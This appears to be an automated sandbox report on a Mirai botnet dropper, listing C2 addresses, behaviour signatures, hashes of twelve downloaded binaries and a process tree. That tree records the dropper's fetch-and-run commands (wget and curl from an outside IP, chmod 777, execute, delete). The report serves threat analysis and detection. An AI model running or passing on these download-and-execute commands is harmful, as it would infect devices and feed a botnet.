Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/07/2026, 02:18

General

  • Target
    cd7258fc7962f1fc3d62649201953288c69983cbcdd5f5c7b2ad76bc05d95ed9
  • Size 1KB
  • Sample260720-cray9aez9y
  • SHA256 cd7258fc7962f1fc3d62649201953288c69983cbcdd5f5c7b2ad76bc05d95ed9
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • 141.98.10.50

  • m1l.pw

Extracted

Family
  • mirai

C2
  • m1l.pw

Extracted

Family
  • mirai

C2
  • m1l.pw

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • m1l.pw

Extracted

Family
  • mirai

C2
  • m1l.pw

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 60 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cd7258fc7962f1fc3d62649201953288c69983cbcdd5f5c7b2ad76bc05d95ed9
    /tmp/cd7258fc7962f1fc3d62649201953288c69983cbcdd5f5c7b2ad76bc05d95ed9
    1⤵
    • Executes dropped EXE
    PID:640
    • /usr/bin/wget
      wget http://5.182.210.61/bfe043
      2⤵
      • Writes file to tmp directory
      PID:646
    • /usr/bin/curl
      curl -O http://5.182.210.61/bfe043
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:663
    • /bin/chmod
      chmod 777 bfe043
      2⤵
      • File and Directory Permissions Modification
      PID:669
    • /tmp/bfe043
      ./bfe043 bc
      2⤵
      • Modifies Watchdog functionality
      • Enumerates active TCP sockets
      • Changes its process name
      • Reads system network configuration
      • Reads runtime system information
      PID:670
    • /bin/rm
      rm -rf bfe043
      2⤵
        PID:672
      • /bin/rm
        rm -rf bfe043.1
        2⤵
          PID:675
        • /usr/bin/wget
          wget http://5.182.210.61/523ff1
          2⤵
          • Writes file to tmp directory
          PID:676
        • /usr/bin/curl
          curl -O http://5.182.210.61/523ff1
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:677
        • /bin/chmod
          chmod 777 523ff1
          2⤵
          • File and Directory Permissions Modification
          PID:678
        • /tmp/523ff1
          ./523ff1 bc
          2⤵
            PID:679
          • /bin/rm
            rm -rf 523ff1
            2⤵
              PID:680
            • /bin/rm
              rm -rf 523ff1.1
              2⤵
                PID:681
              • /usr/bin/wget
                wget http://5.182.210.61/51df98
                2⤵
                • Writes file to tmp directory
                PID:682
              • /usr/bin/curl
                curl -O http://5.182.210.61/51df98
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:683
              • /bin/chmod
                chmod 777 51df98
                2⤵
                • File and Directory Permissions Modification
                PID:684
              • /tmp/51df98
                ./51df98 bc
                2⤵
                • Modifies Watchdog functionality
                • Enumerates active TCP sockets
                • Changes its process name
                • Reads system network configuration
                • Reads runtime system information
                PID:685
              • /bin/rm
                rm -rf 51df98
                2⤵
                  PID:687
                • /bin/rm
                  rm -rf 51df98.1
                  2⤵
                    PID:690
                  • /usr/bin/wget
                    wget http://5.182.210.61/c1f42c
                    2⤵
                    • Writes file to tmp directory
                    PID:691
                  • /usr/bin/curl
                    curl -O http://5.182.210.61/c1f42c
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:692
                  • /bin/chmod
                    chmod 777 c1f42c
                    2⤵
                    • File and Directory Permissions Modification
                    PID:700
                  • /tmp/c1f42c
                    ./c1f42c bc
                    2⤵
                      PID:702
                    • /bin/rm
                      rm -rf c1f42c
                      2⤵
                        PID:705
                      • /bin/rm
                        rm -rf c1f42c.1
                        2⤵
                          PID:707
                        • /usr/bin/wget
                          wget http://5.182.210.61/3b4069
                          2⤵
                          • Writes file to tmp directory
                          PID:709
                        • /usr/bin/curl
                          curl -O http://5.182.210.61/3b4069
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:716
                        • /bin/chmod
                          chmod 777 3b4069
                          2⤵
                          • File and Directory Permissions Modification
                          PID:723
                        • /tmp/3b4069
                          ./3b4069 bc
                          2⤵
                            PID:725
                          • /bin/rm
                            rm -rf 3b4069
                            2⤵
                              PID:727
                            • /bin/rm
                              rm -rf 3b4069.1
                              2⤵
                                PID:729
                              • /usr/bin/wget
                                wget http://5.182.210.61/0200c5
                                2⤵
                                • Writes file to tmp directory
                                PID:730
                              • /usr/bin/curl
                                curl -O http://5.182.210.61/0200c5
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:738
                              • /bin/chmod
                                chmod 777 0200c5
                                2⤵
                                • File and Directory Permissions Modification
                                PID:751
                              • /tmp/0200c5
                                ./0200c5 bc
                                2⤵
                                  PID:752
                                • /bin/rm
                                  rm -rf 0200c5
                                  2⤵
                                    PID:754
                                  • /bin/rm
                                    rm -rf 0200c5.1
                                    2⤵
                                      PID:756
                                    • /usr/bin/wget
                                      wget http://5.182.210.61/0c2d40
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:757
                                    • /usr/bin/curl
                                      curl -O http://5.182.210.61/0c2d40
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:759
                                    • /bin/chmod
                                      chmod 777 0c2d40
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:760
                                    • /tmp/0c2d40
                                      ./0c2d40 bc
                                      2⤵
                                        PID:761
                                      • /bin/rm
                                        rm -rf 0c2d40
                                        2⤵
                                          PID:762
                                        • /bin/rm
                                          rm -rf 0c2d40.1
                                          2⤵
                                            PID:763
                                          • /usr/bin/wget
                                            wget http://5.182.210.61/56294a
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:764
                                          • /usr/bin/curl
                                            curl -O http://5.182.210.61/56294a
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:765
                                          • /bin/chmod
                                            chmod 777 56294a
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:770
                                          • /tmp/56294a
                                            ./56294a bc
                                            2⤵
                                              PID:771
                                            • /bin/rm
                                              rm -rf 56294a
                                              2⤵
                                                PID:773
                                              • /bin/rm
                                                rm -rf 56294a.1
                                                2⤵
                                                  PID:774
                                                • /usr/bin/wget
                                                  wget http://5.182.210.61/02682d
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:775
                                                • /usr/bin/curl
                                                  curl -O http://5.182.210.61/02682d
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:776
                                                • /bin/chmod
                                                  chmod 777 02682d
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:777
                                                • /tmp/02682d
                                                  ./02682d bc
                                                  2⤵
                                                    PID:778
                                                  • /bin/rm
                                                    rm -rf 02682d
                                                    2⤵
                                                      PID:780
                                                    • /bin/rm
                                                      rm -rf 02682d.1
                                                      2⤵
                                                        PID:781
                                                      • /usr/bin/wget
                                                        wget http://5.182.210.61/30b7e8
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:782
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.61/30b7e8
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:783
                                                      • /bin/chmod
                                                        chmod 777 30b7e8
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:790
                                                      • /tmp/30b7e8
                                                        ./30b7e8 bc
                                                        2⤵
                                                          PID:792
                                                        • /bin/rm
                                                          rm -rf 30b7e8
                                                          2⤵
                                                            PID:794
                                                          • /bin/rm
                                                            rm -rf 30b7e8.1
                                                            2⤵
                                                              PID:796
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.61/3477a9
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:797
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.61/3477a9
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:802
                                                            • /bin/chmod
                                                              chmod 777 3477a9
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:809
                                                            • /tmp/3477a9
                                                              ./3477a9 bc
                                                              2⤵
                                                                PID:811
                                                              • /bin/rm
                                                                rm -rf 3477a9
                                                                2⤵
                                                                  PID:813
                                                                • /bin/rm
                                                                  rm -rf 3477a9.1
                                                                  2⤵
                                                                    PID:815
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.61/bc50d0
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:816
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.61/bc50d0
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:821
                                                                  • /bin/chmod
                                                                    chmod 777 bc50d0
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:828
                                                                  • /tmp/bc50d0
                                                                    ./bc50d0 bc
                                                                    2⤵
                                                                      PID:829
                                                                    • /bin/rm
                                                                      rm -rf bc50d0
                                                                      2⤵
                                                                        PID:831
                                                                      • /bin/rm
                                                                        rm -rf bc50d0.1
                                                                        2⤵
                                                                          PID:832

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            0200c5

                                                                            • Path /tmp/0200c5
                                                                            • Size 42KB
                                                                            • SHA256 d5b4241db6212225218b685016c6388e7db74013c20d536d9a82f61bab6a127a
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            02682d

                                                                            • Path /tmp/02682d
                                                                            • Size 49KB
                                                                            • SHA256 3a4b1b5eb7f348e86ac9d6e13e71a29804303f93dd89e82cbffc757e2c65ab48
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            0c2d40

                                                                            • Path /tmp/0c2d40
                                                                            • Size 57KB
                                                                            • SHA256 3b1e5dc338ee8e4793d1d2183ca0343c87797ce163406ef686f011a70721233d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            30b7e8

                                                                            • Path /tmp/30b7e8
                                                                            • Size 42KB
                                                                            • SHA256 459d8396f635b67eb1324e553de8187306a108f4f0f7d78792cd3abfcbcfe900
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            3477a9

                                                                            • Path /tmp/3477a9
                                                                            • Size 63KB
                                                                            • SHA256 ad30815f17aa159560014af28a3022e4bc6bd901ab454bdc2fe067ec1436b47d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            3b4069

                                                                            • Path /tmp/3b4069
                                                                            • Size 45KB
                                                                            • SHA256 0e596de45a903f2021988805644dcdcfb5455885c36bcb6a2d4af0743b83dbce
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            51df98

                                                                            • Path /tmp/51df98
                                                                            • Size 117KB
                                                                            • SHA256 8357e5ce33843cc608dd8d36f2f782a78c3ae6001324b52d9b877d3571818e88
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            523ff1

                                                                            • Path /tmp/523ff1
                                                                            • Size 40KB
                                                                            • SHA256 deae8b8f3adf3c9517f537cc28aeda5541ef996d4af85d5a804c0257b08dfdb2
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            56294a

                                                                            • Path /tmp/56294a
                                                                            • Size 47KB
                                                                            • SHA256 df7c62b363067b9246e07bc11a5baf073492058e76d4e55a47d7b76ddb720860
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            bc50d0

                                                                            • Path /tmp/bc50d0
                                                                            • Size 61KB
                                                                            • SHA256 de2ce4c85ca73390b92b7fa401b361e67268aead7abb9aa0e0a6e1aad3ed2d79
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            bfe043

                                                                            • Path /tmp/bfe043
                                                                            • Size 48KB
                                                                            • SHA256 e75d0ad374ac610f53a440128ce5a3be8ffd016fc5ef16cc1d029d465f0f9f36
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            c1f42c

                                                                            • Path /tmp/c1f42c
                                                                            • Size 45KB
                                                                            • SHA256 6d5869023af5ef528acdc1c43aab42fd7e764ff9e232320e8c3d9c7e30033209
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH